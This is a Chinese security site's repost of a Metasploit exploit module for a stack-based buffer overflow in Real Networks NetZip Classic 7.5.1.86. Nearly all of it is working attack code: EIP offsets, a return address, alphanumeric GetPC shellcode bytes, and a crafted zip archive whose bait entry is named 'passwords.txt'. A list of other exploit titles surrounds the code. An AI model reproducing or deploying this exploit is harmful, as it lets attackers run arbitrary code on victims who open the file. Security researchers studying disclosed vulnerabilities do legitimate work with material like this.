首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow
来源:http://www.metasploit.com 作者:TecR0c 发布时间:2011-10-18  

##
# $Id: real_networks_netzip_bof.rb 13952 2011-10-16 15:47:04Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow vulnerability in
    version 7.5.1 86 of Real Networks Netzip Classic.
    In order for the command to be executed, an attacker must convince someone to
    load a specially crafted zip file with NetZip Classic.
    By doing so, an attacker can execute arbitrary code as the victim user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'C4SS!0 G0M3S', # Vulnerability discovery and original exploit
     'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
    ],
   'Version'        => '$Revision: 13952 $',
   'References'     =>
    [
     [ 'BID', '46059' ],
     [ 'URL', 'http://proforma.real.com' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/16083/' ],
    ],
   'Platform'          => [ 'win' ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload' =>
    {
     'Space'         => 1000,
     'BadChars'      => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
     'DisableNops'   => true,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ESI'
      }
    },
   'Targets'        =>
    [
     [
      'Windows XP SP3',
      {
       'Offset' => 247,        # To EIP
       'Ret'    => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
       'Max'    => 2000,       # Max buffer size
      }
     ],

     [
      'Windows 7/Windows Vista',
      {
       'Offset' => 248,        # To EIP
       'Ret'    => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
       'Max'    => 2000,       # Max buffer size
      }
     ],
    ],
   'DisclosureDate' => 'Jan 30 2011',
   'DefaultTarget'  => 0))

   register_options(
   [
    OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
    OptString.new('CONTENTNAME', [ true, 'Name of the fake zipped file', 'passwords.txt']),
   ], self.class)

 end

 def exploit

  buffer = "#{datastore['CONTENTNAME']}"
  buffer << ' ' * (target['Offset']-buffer.length)
  buffer << [target.ret].pack('V')
  buffer << make_nops(8)

  # GetPC - Non ascii characters get converted
  buffer << "\x89\x05"   #jmp short (5 bytes) to 'jmp back' at end
  buffer << "\x5e"       #pop esi
  buffer << "\x41"       #nop (inc ecx)
  buffer << "\x98\x99"   #call esi
  buffer << "\x41"       #nop (inc ecx)
  buffer << "\x8a\x94\x98\x98\x98"  #jmp back to pop esi
  buffer << payload.encoded
  buffer << rand_text_alpha(target['Max']-buffer.length)

  zip = Rex::Zip::Archive.new
  xtra = [0xdac0ffee].pack('V')
  comment = [0xbadc0ded].pack('V')
  zip.add_file(buffer, xtra, comment)

  # Create the file
  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(zip.pack)
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple Safari file:// Arbitrary
·Dos BP Random Member Widget Pl
·mpegable Player Build 3 Local
·Dolphin <= 7.0.7 (member_menu_
·RadLight Pro 3.0(.mp3) Buffer
·Apple Safari Webkit libxslt Ar
·WordPress 2.0.3 Denial of Serv
·WM Downloader 3.0.0.9 (.pls) F
·BlueZone Desktop .zap file Loc
·MIPS Linux XOR Shellcode Encod
·MS11-064 TCP/IP Stack Denial o
·Linux MIPS execve 52 bytes
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved